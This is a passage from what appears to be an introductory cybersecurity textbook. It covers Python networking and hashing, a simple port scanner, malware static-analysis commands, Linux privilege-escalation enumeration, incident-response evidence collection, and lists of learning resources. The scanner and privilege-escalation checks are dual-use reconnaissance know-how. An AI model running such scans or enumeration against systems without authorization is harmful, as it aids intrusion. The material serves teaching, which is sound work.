print ( result )

def add (a , b ) :
return a + b

sum = add (5 , 3)
print ( sum ) # Output : 8

6.2 Security-Related Libraries

6.2.1 Requests Library
HTTP requests in Python:
import requests

# GET request
response = requests . get ( " https :// api . example . com / data " )
print ( response . status_code )
print ( response . json () )

# POST request
data = { " username " : " admin " , " password " : " secret " }
6.2. SECURITY-RELATED LIBRARIES 27

response = requests . post ( " https :// api . example . com / login " ,
json = data )

# Custom headers
headers = { " Authorization " : " Bearer ␣ token123 " }
response =
requests . get ( " https :// api . example . com / protected " ,
headers = headers )

# Handle errors
try :
response = requests . get ( " https :// api . example . com / data " ,
timeout =5)
response . raise_for_status ()
except requests . exceptions . RequestException as e :
print ( f " Error : ␣ { e } " )

6.2.2 Socket Programming

Network communication:
import socket

# Create socket
sock = socket . socket ( socket . AF_INET , socket . SOCK_STREAM )

# Connect to server
sock . connect (( " example . com " , 80) )

# Send data
sock . sendall ( b " GET ␣ / ␣ HTTP /1.1\ r \ nHost : ␣ example . com \ r \ n \ r \ n " )

# Receive data
response = sock . recv (4096)
print ( response . decode () )

# Close connection
sock . close ()

6.2.3 Port Scanning with Python

import socket
import sys

def scan_port ( host , port ) :

try :
sock = socket . socket ( socket . AF_INET ,
socket . SOCK_STREAM )
sock . settimeout (1)
result = sock . connect_ex (( host , port ) )
6.3. PRACTICE EXERCISES 28

sock . close ()

if result == 0:
return f " Port ␣ { port }: ␣ OPEN "
else :
return f " Port ␣ { port }: ␣ CLOSED "
except socket . gaierror :
return f " Hostname ␣ { host } ␣ could ␣ not ␣ be ␣ resolved "
except socket . error :
return f " Could ␣ not ␣ connect ␣ to ␣ { host } "

# Scan ports 1 -1000

target = " localhost "
for port in range (1 , 1001) :
print ( scan_port ( target , port ) )

6.2.4 Hash and Cryptography

import hashlib
from cryptography . fernet import Fernet

# Generate hash
text = " password123 "
hash_object = hashlib . sha256 ( text . encode () )
hash_hex = hash_object . hexdigest ()
print ( hash_hex )

# Symmetric encryption
key = Fernet . generate_key ()
cipher = Fernet ( key )

plaintext = b " Secret ␣ message "

encrypted = cipher . encrypt ( plaintext )
print ( encrypted )

decrypted = cipher . decrypt ( encrypted )

print ( decrypted )

6.3 Practice Exercises

Exercise 1: Port Scanner
Write a Python script that: 1. Takes a hostname as input 2. Scans ports
1-1000 3. Reports open ports 4. Saves results to a file
6.3. PRACTICE EXERCISES 29

Exercise 2: Password Strength Checker

Write a Python script that: 1. Takes a password as input 2. Checks length
(min 12 chars) 3. Checks for uppercase letters 4. Checks for numbers 5.
Checks for special characters 6. Outputs strength rating
Chapter 7

Part 6: Advanced Topics

7.1 Malware Analysis Basics

7.1.1 Static Analysis
Analyzing malware without executing it.
# Check file type
file suspicious_file

# Extract strings
strings suspicious_file | grep " http "

# Check file hash

md5sum suspicious_file
sha256sum suspicious_file

# Look for indicators of compromise

grep -r " C2 " / var / log /

# Check file permissions

ls - la suspicious_file

7.1.2 Dynamic Analysis

Executing malware in a controlled environment (sandbox).
Tools:

• VirusTotal: Online sandbox for malware analysis

• [Link]: Interactive malware analysis

• Cuckoo: Open-source sandbox

• VirtualBox: Virtual machine for testing

30
7.2. PRIVILEGE ESCALATION 31

7.2 Privilege Escalation

7.2.1 Linux Privilege Escalation
# Check sudo privileges
sudo -l

# Find SUID binaries

find / - perm /4000 2 >/ dev / null

# Check writable files

find / - writable 2 >/ dev / null

# Check cron jobs

crontab -l
grep -r " cron " / etc /

# Check installed programs

apt list -- installed
yum list installed

7.3 Incident Response

7.3.1 Incident Response Phases
1. Preparation: Set up tools and procedures

2. Detection: Identify the incident

3. Analysis: Investigate what happened

4. Containment: Stop the attack

5. Eradication: Remove the attacker

6. Recovery: Restore systems

7. Lessons Learned: Improve processes

7.3.2 Collecting Evidence

# Document the incident
date > incident_log . txt
echo " Incident ␣ description " >> incident_log . txt

# Capture network connections

netstat - tupn > n et w o rk _ c on n e ct i o ns . txt

# Dump process list

ps aux > processes . txt
7.3. INCIDENT RESPONSE 32

# Capture open files

lsof > open_files . txt

# Get system information

uname -a > system_info . txt

# Create forensic image

dd if =/ dev / sda of = disk_image . dd bs =4 M

# Memory dump ( if running )

sudo dd if =/ dev / mem of = memory . dump bs =1 M
Chapter 8

Resources and Further Learning

8.1 Online Platforms

Platform Cost Focus
TryHackMe Free-$10/mo Structured labs
HackTheBox Free-$13/mo Realistic machines
OWASP Juice Shop Free Web vulnerabilities
PortSwigger Free Web security
Udemy $10-50/course Various topics
Coursera Free-$39/mo University courses
edX Free-$50/course Computer science
Infosec Institute Various Certifications
Cybrary Free-$20/mo Security courses

8.2 CTF (Capture The Flag) Competitions

CTF competitions are excellent for hands-on learning.

• HackTheBox: Realistic penetration testing

• TryHackMe: Guided challenges

• OverTheWire: Programming and Linux

• PicoCTF: Beginner-friendly

• DEFCON: Advanced competition

• BSides: Regional security conferences

8.3 Certifications to Pursue

1. CompTIA Security+: Foundational

2. CompTIA CySA+: Threat analysis

3. CEH: Ethical hacking

33
8.4. BOOKS 34

4. OSCP: Penetration testing (respected)

5. CISSP: Advanced, requires experience

6. Google Cloud Security: Cloud security

7. AWS Security: AWS platform

8.4 Books
• The Web Application Hacker’s Handbook: Web security

• Hacking: The Art of Exploitation: Exploitation basics

• The Linux Command Line: Linux fundamentals

• Practical Malware Analysis: Malware analysis

• The Art of Network Penetration Testing: Methodology

• Black Hat Python: Python for hacking

8.5 Blogs and News Sites

• SecurityWeek ([Link])

• DarkReading ([Link])

• BleepingComputer ([Link])

• SANS Internet Storm Center ([Link])

• Krebs on Security ([Link])

• Naked Security ([Link])

• Hacker News ([Link])

8.6 Tools Reference

Tool Purpose Installation
Nmap Port scanning apt install nmap
Wireshark Packet analysis apt install wireshark
Burp Suite Web testing Download from [Link]
Metasploit Exploitation apt install metasploit-framework
Kali Linux Security tools Live USB or VM
VirtualBox Virtualization apt install virtualbox
Tor Anonymity apt install tor
8.7. LINUX DISTRIBUTIONS FOR SECURITY 35

8.7 Linux Distributions for Security

• Kali Linux: Official penetration testing distro

• ParrotOS: Penetration testing and forensics

• BlackArch: Extensive tool collection

• Ubuntu: General purpose with security tools

• Debian: Stable and secure

8.8 Creating Your Lab Environment

8.8.1 Required Software
• Hypervisor: VirtualBox (free) or VMware

• Operating Systems: Ubuntu Server, Kali Linux, Windows Server

• Vulnerable Apps: DVWA, OWASP Juice Shop, WebGoat

• Network Tools: Nmap, Wireshark, Tcpdump

8.8.2 Lab Setup Steps

1. Install VirtualBox

2. Create virtual network (isolated)

3. Install Ubuntu Server VM

4. Install Kali Linux VM

5. Install Windows Server VM

6. Install vulnerable applications

7. Practice penetration testing in isolated environment

Chapter 9

Conclusion and Next Steps

9.1 Key Takeaways

You should now understand:
• Linux fundamentals and command-line operations
• Networking concepts and protocols
• Cryptography and encryption basics
• Common web vulnerabilities
• Python programming for security tasks
• Security tools and their usage
• Basic incident response procedures

9.2 Your Learning Path

1. Month 1-2: Master Linux and networking
2. Month 3-4: Learn Python and web security
3. Month 5-6: Practice with tools and CTFs
4. Month 7-8: Deeper specialization (web, cloud, forensics)
5. Month 9-12: Pursue certifications and real projects

9.3 Important Reminders

Ethical Hacking Rules
1. Never attack systems without explicit written permission 2. Only test
systems you own or have authorized access to 3. Responsible disclosure:
Report findings to the owner 4. Never modify or delete data 5. Keep
findings confidential 6. Unauthorized access is a federal crime (CFAA in
US)

36
9.4. STAY UPDATED 37

9.4 Stay Updated

Cybersecurity evolves constantly. Keep learning through:

• Reading security news daily

• Following security researchers on social media

• Participating in CTF competitions

• Attending security conferences

• Contributing to open-source projects

• Maintaining certifications with continuing education

9.5 Building Your Career

• Network: Connect with other professionals

• Portfolio: Document your projects and writeups

• Certifications: Pursue recognized credentials

• Experience: Work with real systems (ethically)

• Specialization: Choose a career path

• Continuous Learning: The field never stops evolving

9.6 Final Words

Cybersecurity is a challenging but rewarding career. It requires dedication, con-
tinuous learning, and ethical conduct. The techniques you learn must be used
responsibly and legally. With proper training and mindset, you can make a mean-
ingful impact protecting organizations and individuals from cyber threats.
Welcome to the cybersecurity community. Your journey starts now.

This textbook is intended for educational purposes only. Always obtain proper
authorization before testing security of any system.